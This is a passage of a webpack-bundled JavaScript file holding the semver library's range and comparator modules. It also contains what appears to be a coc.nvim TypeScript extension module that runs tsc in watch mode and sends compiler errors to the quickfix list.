return lt(a, b, loose)
case '<=':
return lte(a, b, loose)
default:
throw new TypeError(`Invalid operator: ${op}`)
}
}
module.exports = cmp
/***/ }),
/* 65 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const parse = __webpack_require__(43)
const {re, t} = __webpack_require__(38)
const coerce = (version, options) => {
if (version instanceof SemVer) {
return version
}
if (typeof version === 'number') {
version = String(version)
}
if (typeof version !== 'string') {
return null
}
options = options || {}
let match = null
if (!options.rtl) {
match = version.match(re[t.COERCE])
} else {
// Find the right-most coercible string that does not share
// a terminus with a more left-ward coercible string.
// Eg, '1.2.3.4' wants to coerce '2.3.4', not '3.4' or '4'
//
// Walk through the string checking with a /g regexp
// Manually set the index so as to pick up overlapping matches.
// Stop when we get a match that ends at the string end, since no
// coercible string can be more right-ward without the same terminus.
let next
while ((next = re[t.COERCERTL].exec(version)) &&
(!match || match.index + match[0].length !== version.length)
) {
if (!match ||
next.index + next[0].length !== match.index + match[0].length) {
match = next
}
re[t.COERCERTL].lastIndex = next.index + next[1].length + next[2].length
}
// leave it in a clean state
re[t.COERCERTL].lastIndex = -1
}
if (match === null)
return null
return parse(`${match[2]}.${match[3] || '0'}.${match[4] || '0'}`, options)
}
module.exports = coerce
/***/ }),
/* 66 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const ANY = Symbol('SemVer ANY')
// hoisted class for cyclic dependency
class Comparator {
static get ANY () {
return ANY
}
constructor (comp, options) {
if (!options || typeof options !== 'object') {
options = {
loose: !!options,
includePrerelease: false
}
}
if (comp instanceof Comparator) {
if (comp.loose === !!options.loose) {
return comp
} else {
comp = comp.value
}
}
debug('comparator', comp, options)
this.options = options
this.loose = !!options.loose
this.parse(comp)
if (this.semver === ANY) {
this.value = ''
} else {
this.value = this.operator + this.semver.version
}
debug('comp', this)
}
parse (comp) {
const r = this.options.loose ? re[t.COMPARATORLOOSE] : re[t.COMPARATOR]
const m = comp.match(r)
if (!m) {
throw new TypeError(`Invalid comparator: ${comp}`)
}
this.operator = m[1] !== undefined ? m[1] : ''
if (this.operator === '=') {
this.operator = ''
}
// if it literally is just '>' or '' then allow anything.
if (!m[2]) {
this.semver = ANY
} else {
this.semver = new SemVer(m[2], this.options.loose)
}
}
toString () {
return this.value
}
test (version) {
debug('Comparator.test', version, this.options.loose)
if (this.semver === ANY || version === ANY) {
return true
}
if (typeof version === 'string') {
try {
version = new SemVer(version, this.options)
} catch (er) {
return false
}
}
return cmp(version, this.operator, this.semver, this.options)
}
intersects (comp, options) {
if (!(comp instanceof Comparator)) {
throw new TypeError('a Comparator is required')
}
if (!options || typeof options !== 'object') {
options = {
loose: !!options,
includePrerelease: false
}
}
if (this.operator === '') {
if (this.value === '') {
return true
}
return new Range(comp.value, options).test(this.value)
} else if (comp.operator === '') {
if (comp.value === '') {
return true
}
return new Range(this.value, options).test(comp.semver)
}
const sameDirectionIncreasing =
(this.operator === '>=' || this.operator === '>') &&
(comp.operator === '>=' || comp.operator === '>')
const sameDirectionDecreasing =
(this.operator === '<=' || this.operator === '<') &&
(comp.operator === '<=' || comp.operator === '<')
const sameSemVer = this.semver.version === comp.semver.version
const differentDirectionsInclusive =
(this.operator === '>=' || this.operator === '<=') &&
(comp.operator === '>=' || comp.operator === '<=')
const oppositeDirectionsLessThan =
cmp(this.semver, '<', comp.semver, options) &&
(this.operator === '>=' || this.operator === '>') &&
(comp.operator === '<=' || comp.operator === '<')
const oppositeDirectionsGreaterThan =
cmp(this.semver, '>', comp.semver, options) &&
(this.operator === '<=' || this.operator === '<') &&
(comp.operator === '>=' || comp.operator === '>')
return (
sameDirectionIncreasing ||
sameDirectionDecreasing ||
(sameSemVer && differentDirectionsInclusive) ||
oppositeDirectionsLessThan ||
oppositeDirectionsGreaterThan
)
}
}
module.exports = Comparator
const {re, t} = __webpack_require__(38)
const cmp = __webpack_require__(64)
const debug = __webpack_require__(40)
const SemVer = __webpack_require__(41)
const Range = __webpack_require__(67)
/***/ }),
/* 67 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
// hoisted class for cyclic dependency
class Range {
constructor (range, options) {
if (!options || typeof options !== 'object') {
options = {
loose: !!options,
includePrerelease: false
}
}
if (range instanceof Range) {
if (
range.loose === !!options.loose &&
range.includePrerelease === !!options.includePrerelease
) {
return range
} else {
return new Range(range.raw, options)
}
}
if (range instanceof Comparator) {
// just put it in the set and return
this.raw = range.value
this.set = [[range]]
this.format()
return this
}
this.options = options
this.loose = !!options.loose
this.includePrerelease = !!options.includePrerelease
// First, split based on boolean or ||
this.raw = range
this.set = range
.split(/\s*\|\|\s*/)
// map the range to a 2d array of comparators
.map(range => this.parseRange(range.trim()))
// throw out any comparator lists that are empty
// this generally means that it was not a valid range, which is allowed
// in loose mode, but will still throw if the WHOLE range is invalid.
.filter(c => c.length)
if (!this.set.length) {
throw new TypeError(`Invalid SemVer Range: ${range}`)
}
this.format()
}
format () {
this.range = this.set
.map((comps) => {
return comps.join(' ').trim()
})
.join('||')
.trim()
return this.range
}
toString () {
return this.range
}
parseRange (range) {
const loose = this.options.loose
range = range.trim()
// `1.2.3 - 1.2.4` => `>=1.2.3 <=1.2.4`
const hr = loose ? re[t.HYPHENRANGELOOSE] : re[t.HYPHENRANGE]
range = range.replace(hr, hyphenReplace(this.options.includePrerelease))
debug('hyphen replace', range)
// `> 1.2.3 < 1.2.5` => `>1.2.3 <1.2.5`
range = range.replace(re[t.COMPARATORTRIM], comparatorTrimReplace)
debug('comparator trim', range, re[t.COMPARATORTRIM])
// `~ 1.2.3` => `~1.2.3`
range = range.replace(re[t.TILDETRIM], tildeTrimReplace)
// `^ 1.2.3` => `^1.2.3`
range = range.replace(re[t.CARETTRIM], caretTrimReplace)
// normalize spaces
range = range.split(/\s+/).join(' ')
// At this point, the range is completely trimmed and
// ready to be split into comparators.
const compRe = loose ? re[t.COMPARATORLOOSE] : re[t.COMPARATOR]
return range
.split(' ')
.map(comp => parseComparator(comp, this.options))
.join(' ')
.split(/\s+/)
.map(comp => replaceGTE0(comp, this.options))
// in loose mode, throw out any that are not valid comparators
.filter(this.options.loose ? comp => !!comp.match(compRe) : () => true)
.map(comp => new Comparator(comp, this.options))
}
intersects (range, options) {
if (!(range instanceof Range)) {
throw new TypeError('a Range is required')
}
return this.set.some((thisComparators) => {
return (
isSatisfiable(thisComparators, options) &&
range.set.some((rangeComparators) => {
return (
isSatisfiable(rangeComparators, options) &&
thisComparators.every((thisComparator) => {
return rangeComparators.every((rangeComparator) => {
return thisComparator.intersects(rangeComparator, options)
})
})
)
})
)
})
}
// if ANY of the sets match ALL of its comparators, then pass
test (version) {
if (!version) {
return false
}
if (typeof version === 'string') {
try {
version = new SemVer(version, this.options)
} catch (er) {
return false
}
}
for (let i = 0; i < this.set.length; i++) {
if (testSet(this.set[i], version, this.options)) {
return true
}
}
return false
}
}
module.exports = Range
const Comparator = __webpack_require__(66)
const debug = __webpack_require__(40)
const SemVer = __webpack_require__(41)
const {
re,
t,
comparatorTrimReplace,
tildeTrimReplace,
caretTrimReplace
} = __webpack_require__(38)
// take a set of comparators and determine whether there
// exists a version which can satisfy it
const isSatisfiable = (comparators, options) => {
let result = true
const remainingComparators = comparators.slice()
let testComparator = remainingComparators.pop()
while (result && remainingComparators.length) {
result = remainingComparators.every((otherComparator) => {
return testComparator.intersects(otherComparator, options)
})
testComparator = remainingComparators.pop()
}
return result
}
// comprised of xranges, tildes, stars, and gtlt's at this point.
// already replaced the hyphen ranges
// turn into a set of JUST comparators.
const parseComparator = (comp, options) => {
debug('comp', comp, options)
comp = replaceCarets(comp, options)
debug('caret', comp)
comp = replaceTildes(comp, options)
debug('tildes', comp)
comp = replaceXRanges(comp, options)
debug('xrange', comp)
comp = replaceStars(comp, options)
debug('stars', comp)
return comp
}
const isX = id => !id || id.toLowerCase() === 'x' || id === '*'
// ~, ~> --> * (any, kinda silly)
// ~2, ~2.x, ~2.x.x, ~>2, ~>2.x ~>2.x.x --> >=2.0.0 <3.0.0-0
// ~2.0, ~2.0.x, ~>2.0, ~>2.0.x --> >=2.0.0 <2.1.0-0
// ~1.2, ~1.2.x, ~>1.2, ~>1.2.x --> >=1.2.0 <1.3.0-0
// ~1.2.3, ~>1.2.3 --> >=1.2.3 <1.3.0-0
// ~1.2.0, ~>1.2.0 --> >=1.2.0 <1.3.0-0
const replaceTildes = (comp, options) =>
comp.trim().split(/\s+/).map((comp) => {
return replaceTilde(comp, options)
}).join(' ')
const replaceTilde = (comp, options) => {
const r = options.loose ? re[t.TILDELOOSE] : re[t.TILDE]
return comp.replace(r, (_, M, m, p, pr) => {
debug('tilde', comp, _, M, m, p, pr)
let ret
if (isX(M)) {
ret = ''
} else if (isX(m)) {
ret = `>=${M}.0.0 <${+M + 1}.0.0-0`
} else if (isX(p)) {
// ~1.2 == >=1.2.0 <1.3.0-0
ret = `>=${M}.${m}.0 <${M}.${+m + 1}.0-0`
} else if (pr) {
debug('replaceTilde pr', pr)
ret = `>=${M}.${m}.${p}-${pr
} <${M}.${+m + 1}.0-0`
} else {
// ~1.2.3 == >=1.2.3 <1.3.0-0
ret = `>=${M}.${m}.${p
} <${M}.${+m + 1}.0-0`
}
debug('tilde return', ret)
return ret
})
}
// ^ --> * (any, kinda silly)
// ^2, ^2.x, ^2.x.x --> >=2.0.0 <3.0.0-0
// ^2.0, ^2.0.x --> >=2.0.0 <3.0.0-0
// ^1.2, ^1.2.x --> >=1.2.0 <2.0.0-0
// ^1.2.3 --> >=1.2.3 <2.0.0-0
// ^1.2.0 --> >=1.2.0 <2.0.0-0
const replaceCarets = (comp, options) =>
comp.trim().split(/\s+/).map((comp) => {
return replaceCaret(comp, options)
}).join(' ')
const replaceCaret = (comp, options) => {
debug('caret', comp, options)
const r = options.loose ? re[t.CARETLOOSE] : re[t.CARET]
const z = options.includePrerelease ? '-0' : ''
return comp.replace(r, (_, M, m, p, pr) => {
debug('caret', comp, _, M, m, p, pr)
let ret
if (isX(M)) {
ret = ''
} else if (isX(m)) {
ret = `>=${M}.0.0${z} <${+M + 1}.0.0-0`
} else if (isX(p)) {
if (M === '0') {
ret = `>=${M}.${m}.0${z} <${M}.${+m + 1}.0-0`
} else {
ret = `>=${M}.${m}.0${z} <${+M + 1}.0.0-0`
}
} else if (pr) {
debug('replaceCaret pr', pr)
if (M === '0') {
if (m === '0') {
ret = `>=${M}.${m}.${p}-${pr
} <${M}.${m}.${+p + 1}-0`
} else {
ret = `>=${M}.${m}.${p}-${pr
} <${M}.${+m + 1}.0-0`
}
} else {
ret = `>=${M}.${m}.${p}-${pr
} <${+M + 1}.0.0-0`
}
} else {
debug('no pr')
if (M === '0') {
if (m === '0') {
ret = `>=${M}.${m}.${p
}${z} <${M}.${m}.${+p + 1}-0`
} else {
ret = `>=${M}.${m}.${p
}${z} <${M}.${+m + 1}.0-0`
}
} else {
ret = `>=${M}.${m}.${p
} <${+M + 1}.0.0-0`
}
}
debug('caret return', ret)
return ret
})
}
const replaceXRanges = (comp, options) => {
debug('replaceXRanges', comp, options)
return comp.split(/\s+/).map((comp) => {
return replaceXRange(comp, options)
}).join(' ')
}
const replaceXRange = (comp, options) => {
comp = comp.trim()
const r = options.loose ? re[t.XRANGELOOSE] : re[t.XRANGE]
return comp.replace(r, (ret, gtlt, M, m, p, pr) => {
debug('xRange', comp, ret, gtlt, M, m, p, pr)
const xM = isX(M)
const xm = xM || isX(m)
const xp = xm || isX(p)
const anyX = xp
if (gtlt === '=' && anyX) {
gtlt = ''
}
// if we're including prereleases in the match, then we need
// to fix this to -0, the lowest possible prerelease value
pr = options.includePrerelease ? '-0' : ''
if (xM) {
if (gtlt === '>' || gtlt === '<') {
// nothing is allowed
ret = '<0.0.0-0'
} else {
// nothing is forbidden
ret = '*'
}
} else if (gtlt && anyX) {
// we know patch is an x, because we have any x at all.
// replace X with 0
if (xm) {
m = 0
}
p = 0
if (gtlt === '>') {
// >1 => >=2.0.0
// >1.2 => >=1.3.0
gtlt = '>='
if (xm) {
M = +M + 1
m = 0
p = 0
} else {
m = +m + 1
p = 0
}
} else if (gtlt === '<=') {
// <=0.7.x is actually <0.8.0, since any 0.7.x should
// pass. Similarly, <=7.x is actually <8.0.0, etc.
gtlt = '<'
if (xm) {
M = +M + 1
} else {
m = +m + 1
}
}
if (gtlt === '<')
pr = '-0'
ret = `${gtlt + M}.${m}.${p}${pr}`
} else if (xm) {
ret = `>=${M}.0.0${pr} <${+M + 1}.0.0-0`
} else if (xp) {
ret = `>=${M}.${m}.0${pr
} <${M}.${+m + 1}.0-0`
}
debug('xRange return', ret)
return ret
})
}
// Because * is AND-ed with everything else in the comparator,
// and '' means "any version", just remove the *s entirely.
const replaceStars = (comp, options) => {
debug('replaceStars', comp, options)
// Looseness is ignored here. star is always as loose as it gets!
return comp.trim().replace(re[t.STAR], '')
}
const replaceGTE0 = (comp, options) => {
debug('replaceGTE0', comp, options)
return comp.trim()
.replace(re[options.includePrerelease ? t.GTE0PRE : t.GTE0], '')
}
// This function is passed to string.replace(re[t.HYPHENRANGE])
// M, m, patch, prerelease, build
// 1.2 - 3.4.5 => >=1.2.0 <=3.4.5
// 1.2.3 - 3.4 => >=1.2.0 <3.5.0-0 Any 3.4.x will do
// 1.2 - 3.4 => >=1.2.0 <3.5.0-0
const hyphenReplace = incPr => ($0,
from, fM, fm, fp, fpr, fb,
to, tM, tm, tp, tpr, tb) => {
if (isX(fM)) {
from = ''
} else if (isX(fm)) {
from = `>=${fM}.0.0${incPr ? '-0' : ''}`
} else if (isX(fp)) {
from = `>=${fM}.${fm}.0${incPr ? '-0' : ''}`
} else if (fpr) {
from = `>=${from}`
} else {
from = `>=${from}${incPr ? '-0' : ''}`
}
if (isX(tM)) {
to = ''
} else if (isX(tm)) {
to = `<${+tM + 1}.0.0-0`
} else if (isX(tp)) {
to = `<${tM}.${+tm + 1}.0-0`
} else if (tpr) {
to = `<=${tM}.${tm}.${tp}-${tpr}`
} else if (incPr) {
to = `<${tM}.${tm}.${+tp + 1}-0`
} else {
to = `<=${to}`
}
return (`${from} ${to}`).trim()
}
const testSet = (set, version, options) => {
for (let i = 0; i < set.length; i++) {
if (!set[i].test(version)) {
return false
}
}
if (version.prerelease.length && !options.includePrerelease) {
// Find the set of versions that are allowed to have prereleases
// For example, ^1.2.3-pr.1 desugars to >=1.2.3-pr.1 <2.0.0
// That should allow `1.2.3-pr.2` to pass.
// However, `1.2.4-alpha.notready` should NOT be allowed,
// even though it's within the range set by the comparators.
for (let i = 0; i < set.length; i++) {
debug(set[i].semver)
if (set[i].semver === Comparator.ANY) {
continue
}
if (set[i].semver.prerelease.length > 0) {
const allowed = set[i].semver
if (allowed.major === version.major &&
allowed.minor === version.minor &&
allowed.patch === version.patch) {
return true
}
}
}
// Version has a -pre, but it's not one of the ones we like.
return false
}
return true
}
/***/ }),
/* 68 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const Range = __webpack_require__(67)
const satisfies = (version, range, options) => {
try {
range = new Range(range, options)
} catch (er) {
return false
}
return range.test(version)
}
module.exports = satisfies
/***/ }),
/* 69 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const Range = __webpack_require__(67)
// Mostly just for testing and legacy API reasons
const toComparators = (range, options) =>
new Range(range, options).set
.map(comp => comp.map(c => c.value).join(' ').trim().split(' '))
module.exports = toComparators
/***/ }),
/* 70 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const Range = __webpack_require__(67)
const maxSatisfying = (versions, range, options) => {
let max = null
let maxSV = null
let rangeObj = null
try {
rangeObj = new Range(range, options)
} catch (er) {
return null
}
versions.forEach((v) => {
if (rangeObj.test(v)) {
// satisfies(v, range, options)
if (!max || maxSV.compare(v) === -1) {
// compare(max, v, true)
max = v
maxSV = new SemVer(max, options)
}
}
})
return max
}
module.exports = maxSatisfying
/***/ }),
/* 71 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const Range = __webpack_require__(67)
const minSatisfying = (versions, range, options) => {
let min = null
let minSV = null
let rangeObj = null
try {
rangeObj = new Range(range, options)
} catch (er) {
return null
}
versions.forEach((v) => {
if (rangeObj.test(v)) {
// satisfies(v, range, options)
if (!min || minSV.compare(v) === 1) {
// compare(min, v, true)
min = v
minSV = new SemVer(min, options)
}
}
})
return min
}
module.exports = minSatisfying
/***/ }),
/* 72 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const Range = __webpack_require__(67)
const gt = __webpack_require__(59)
const minVersion = (range, loose) => {
range = new Range(range, loose)
let minver = new SemVer('0.0.0')
if (range.test(minver)) {
return minver
}
minver = new SemVer('0.0.0-0')
if (range.test(minver)) {
return minver
}
minver = null
for (let i = 0; i < range.set.length; ++i) {
const comparators = range.set[i]
comparators.forEach((comparator) => {
// Clone to avoid manipulating the comparator's semver object.
const compver = new SemVer(comparator.semver.version)
switch (comparator.operator) {
case '>':
if (compver.prerelease.length === 0) {
compver.patch++
} else {
compver.prerelease.push(0)
}
compver.raw = compver.format()
/* fallthrough */
case '':
case '>=':
if (!minver || gt(minver, compver)) {
minver = compver
}
break
case '<':
case '<=':
/* Ignore maximum versions */
break
/* istanbul ignore next */
default:
throw new Error(`Unexpected operation: ${comparator.operator}`)
}
})
}
if (minver && range.test(minver)) {
return minver
}
return null
}
module.exports = minVersion
/***/ }),
/* 73 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const Range = __webpack_require__(67)
const validRange = (range, options) => {
try {
// Return '*' instead of '' so that truthiness works.
// This will throw if it's invalid anyway
return new Range(range, options).range || '*'
} catch (er) {
return null
}
}
module.exports = validRange
/***/ }),
/* 74 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const Comparator = __webpack_require__(66)
const {ANY} = Comparator
const Range = __webpack_require__(67)
const satisfies = __webpack_require__(68)
const gt = __webpack_require__(59)
const lt = __webpack_require__(60)
const lte = __webpack_require__(63)
const gte = __webpack_require__(62)
const outside = (version, range, hilo, options) => {
version = new SemVer(version, options)
range = new Range(range, options)
let gtfn, ltefn, ltfn, comp, ecomp
switch (hilo) {
case '>':
gtfn = gt
ltefn = lte
ltfn = lt
comp = '>'
ecomp = '>='
break
case '<':
gtfn = lt
ltefn = gte
ltfn = gt
comp = '<'
ecomp = '<='
break
default:
throw new TypeError('Must provide a hilo val of "<" or ">"')
}
// If it satisifes the range it is not outside
if (satisfies(version, range, options)) {
return false
}
// From now on, variable terms are as if we're in "gtr" mode.
// but note that everything is flipped for the "ltr" function.
for (let i = 0; i < range.set.length; ++i) {
const comparators = range.set[i]
let high = null
let low = null
comparators.forEach((comparator) => {
if (comparator.semver === ANY) {
comparator = new Comparator('>=0.0.0')
}
high = high || comparator
low = low || comparator
if (gtfn(comparator.semver, high.semver, options)) {
high = comparator
} else if (ltfn(comparator.semver, low.semver, options)) {
low = comparator
}
})
// If the edge version comparator has a operator then our version
// isn't outside it
if (high.operator === comp || high.operator === ecomp) {
return false
}
// If the lowest version comparator has an operator and our version
// is less than it then it isn't higher than the range
if ((!low.operator || low.operator === comp) &&
ltefn(version, low.semver)) {
return false
} else if (low.operator === ecomp && ltfn(version, low.semver)) {
return false
}
}
return true
}
module.exports = outside
/***/ }),
/* 75 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
// Determine if version is greater than all the versions possible in the range.
const outside = __webpack_require__(74)
const gtr = (version, range, options) => outside(version, range, '>', options)
module.exports = gtr
/***/ }),
/* 76 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const outside = __webpack_require__(74)
// Determine if version is less than all the versions possible in the range
const ltr = (version, range, options) => outside(version, range, '<', options)
module.exports = ltr
/***/ }),
/* 77 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const Range = __webpack_require__(67)
const intersects = (r1, r2, options) => {
r1 = new Range(r1, options)
r2 = new Range(r2, options)
return r1.intersects(r2)
}
module.exports = intersects
/***/ }),
/* 78 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
// given a set of versions and a range, create a "simplified" range
// that includes the same versions that the original range does
// If the original range is shorter than the simplified one, return that.
const satisfies = __webpack_require__(68)
const compare = __webpack_require__(49)
module.exports = (versions, range, options) => {
const set = []
let min = null
let prev = null
const v = versions.sort((a, b) => compare(a, b, options))
for (const version of v) {
const included = satisfies(version, range, options)
if (included) {
prev = version
if (!min)
min = version
} else {
if (prev) {
set.push([min, prev])
}
prev = null
min = null
}
}
if (min)
set.push([min, null])
const ranges = []
for (const [min, max] of set) {
if (min === max)
ranges.push(min)
else if (!max && min === v[0])
ranges.push('*')
else if (!max)
ranges.push(`>=${min}`)
else if (min === v[0])
ranges.push(`<=${max}`)
else
ranges.push(`${min} - ${max}`)
}
const simplified = ranges.join(' || ')
const original = typeof range.raw === 'string' ? range.raw : String(range)
return simplified.length < original.length ? simplified : range
}
/***/ }),
/* 79 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const Range = __webpack_require__(67)
const { ANY } = __webpack_require__(66)
const satisfies = __webpack_require__(68)
const compare = __webpack_require__(49)
// Complex range `r1 || r2 || ...` is a subset of `R1 || R2 || ...` iff:
// - Every simple range `r1, r2, ...` is a subset of some `R1, R2, ...`
//
// Simple range `c1 c2 ...` is a subset of simple range `C1 C2 ...` iff:
// - If c is only the ANY comparator
// - If C is only the ANY comparator, return true
// - Else return false
// - Let EQ be the set of = comparators in c
// - If EQ is more than one, return true (null set)
// - Let GT be the highest > or >= comparator in c
// - Let LT be the lowest < or <= comparator in c
// - If GT and LT, and GT.semver > LT.semver, return true (null set)
// - If EQ
// - If GT, and EQ does not satisfy GT, return true (null set)
// - If LT, and EQ does not satisfy LT, return true (null set)
// - If EQ satisfies every C, return true
// - Else return false
// - If GT
// - If GT is lower than any > or >= comp in C, return false
// - If GT is >=, and GT.semver does not satisfy every C, return false
// - If LT
// - If LT.semver is greater than that of any > comp in C, return false
// - If LT is <=, and LT.semver does not satisfy every C, return false
// - If any C is a = range, and GT or LT are set, return false
// - Else return true
const subset = (sub, dom, options) => {
sub = new Range(sub, options)
dom = new Range(dom, options)
let sawNonNull = false
OUTER: for (const simpleSub of sub.set) {
for (const simpleDom of dom.set) {
const isSub = simpleSubset(simpleSub, simpleDom, options)
sawNonNull = sawNonNull || isSub !== null
if (isSub)
continue OUTER
}
// the null set is a subset of everything, but null simple ranges in
// a complex range should be ignored. so if we saw a non-null range,
// then we know this isn't a subset, but if EVERY simple range was null,
// then it is a subset.
if (sawNonNull)
return false
}
return true
}
const simpleSubset = (sub, dom, options) => {
if (sub.length === 1 && sub[0].semver === ANY)
return dom.length === 1 && dom[0].semver === ANY
const eqSet = new Set()
let gt, lt
for (const c of sub) {
if (c.operator === '>' || c.operator === '>=')
gt = higherGT(gt, c, options)
else if (c.operator === '<' || c.operator === '<=')
lt = lowerLT(lt, c, options)
else
eqSet.add(c.semver)
}
if (eqSet.size > 1)
return null
let gtltComp
if (gt && lt) {
gtltComp = compare(gt.semver, lt.semver, options)
if (gtltComp > 0)
return null
else if (gtltComp === 0 && (gt.operator !== '>=' || lt.operator !== '<='))
return null
}
// will iterate one or zero times
for (const eq of eqSet) {
if (gt && !satisfies(eq, String(gt), options))
return null
if (lt && !satisfies(eq, String(lt), options))
return null
for (const c of dom) {
if (!satisfies(eq, String(c), options))
return false
}
return true
}
let higher, lower
let hasDomLT, hasDomGT
for (const c of dom) {
hasDomGT = hasDomGT || c.operator === '>' || c.operator === '>='
hasDomLT = hasDomLT || c.operator === '<' || c.operator === '<='
if (gt) {
if (c.operator === '>' || c.operator === '>=') {
higher = higherGT(gt, c, options)
if (higher === c)
return false
} else if (gt.operator === '>=' && !satisfies(gt.semver, String(c), options))
return false
}
if (lt) {
if (c.operator === '<' || c.operator === '<=') {
lower = lowerLT(lt, c, options)
if (lower === c)
return false
} else if (lt.operator === '<=' && !satisfies(lt.semver, String(c), options))
return false
}
if (!c.operator && (lt || gt) && gtltComp !== 0)
return false
}
// if there was a < or >, and nothing in the dom, then must be false
// UNLESS it was limited by another range in the other direction.
// Eg, >1.0.0 <1.0.1 is still a subset of <2.0.0
if (gt && hasDomLT && !lt && gtltComp !== 0)
return false
if (lt && hasDomGT && !gt && gtltComp !== 0)
return false
return true
}
// >=1.2.3 is lower than >1.2.3
const higherGT = (a, b, options) => {
if (!a)
return b
const comp = compare(a.semver, b.semver, options)
return comp > 0 ? a
: comp < 0 ? b
: b.operator === '>' && a.operator === '>=' ? b
: a
}
// <=1.2.3 is higher than <1.2.3
const lowerLT = (a, b, options) => {
if (!a)
return b
const comp = compare(a.semver, b.semver, options)
return comp < 0 ? a
: comp > 0 ? b
: b.operator === '<' && a.operator === '<=' ? b
: a
}
module.exports = subset
/***/ }),
/* 80 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
const path_1 = __importDefault(__webpack_require__(13));
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const countRegex = /Found\s+(\d+)\s+error/;
const errorRegex = /^(.+)\((\d+),(\d+)\):\s(\w+)\sTS(\d+):\s*(.+)$/;
var TscStatus;
(function (TscStatus) {
TscStatus[TscStatus["INIT"] = 0] = "INIT";
TscStatus[TscStatus["COMPILING"] = 1] = "COMPILING";
TscStatus[TscStatus["RUNNING"] = 2] = "RUNNING";
TscStatus[TscStatus["ERROR"] = 3] = "ERROR";
})(TscStatus || (TscStatus = {}));
class WatchProject {
constructor(client) {
this.client = client;
this.disposables = [];
this.statusItem = coc_nvim_1.window.createStatusBarItem(1, { progress: true });
let task = this.task = coc_nvim_1.workspace.createTask('TSC');
this.disposables.push(coc_nvim_1.commands.registerCommand(WatchProject.id, async () => {
let opts = this.options = await this.getOptions();
await this.start(opts);
}));
task.onExit(code => {
if (code != 0) {
coc_nvim_1.window.showMessage(`TSC exit with code ${code}`, 'warning');
}
this.onStop();
});
task.onStdout(lines => {
for (let line of lines) {
this.onLine(line);
}
});
task.onStderr(lines => {
coc_nvim_1.window.showMessage(`TSC error: ` + lines.join('\n'), 'error');
});
this.disposables.push(vscode_languageserver_protocol_1.Disposable.create(() => {
task.dispose();
}));
this.check().catch(_e => {
// noop
});
}
async check() {
let running = await this.task.running;
if (running) {
this.options = await this.getOptions();
this.statusItem.isProgress = false;
this.statusItem.text = '?';
this.statusItem.show();
}
else {
this.onStop();
}
}
async start(options) {
await this.task.start(options);
}
onStop() {
this.statusItem.hide();
}
onStart() {
this.statusItem.text = 'compiling';
this.statusItem.isProgress = true;
this.statusItem.show();
coc_nvim_1.workspace.nvim.call('setqflist', [[]], true);
}
onLine(line) {
if (countRegex.test(line)) {
let ms = line.match(countRegex);
this.statusItem.text = ms[1] == '0' ? '✓' : '✗';
this.statusItem.isProgress = false;
}
else if (WatchProject.startTexts.findIndex(s => line.indexOf(s) !== -1) != -1) {
this.onStart();
}
else {
let ms = line.match(errorRegex);
if (!ms)
return;
let fullpath = path_1.default.join(this.options.cwd, ms[1]);
let uri = coc_nvim_1.Uri.file(fullpath).toString();
let doc = coc_nvim_1.workspace.getDocument(uri);
let bufnr = doc ? doc.bufnr : null;
let item = {
filename: fullpath,
lnum: Number(ms[2]),
col: Number(ms[3]),
text: `[tsc ${ms[5]}] ${ms[6]}`,
type: /error/i.test(ms[4]) ? 'E' : 'W'
};
if (bufnr)
item.bufnr = bufnr;
coc_nvim_1.workspace.nvim.call('setqflist', [[item], 'a']);
}
}
async getOptions() {
let { tscPath } = this.client;
if (!tscPath) {
coc_nvim_1.window.showMessage(`Local & global tsc not found`, 'error');
return;
}
let find = await coc_nvim_1.workspace.findUp(['tsconfig.json']);
if (!find) {
coc_nvim_1.window.showMessage('tsconfig.json not found!', 'error');
return;
}
let root = path_1.default.dirname(find);
return {
cmd: tscPath,
args: ['-p', 'tsconfig.json', '--watch', 'true', '--pretty', 'false'],
cwd: root
};
}
dispose() {
coc_nvim_1.disposeAll(this.disposables);
}
}
exports.default = WatchProject;
WatchProject.id = 'tsserver.watchBuild';
WatchProject.startTexts = ['Starting compilation in watch mode', 'Starting incremental compilation'];
/***/ }),
/* 81 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const api_1 = __importDefault(__webpack_require__(36));
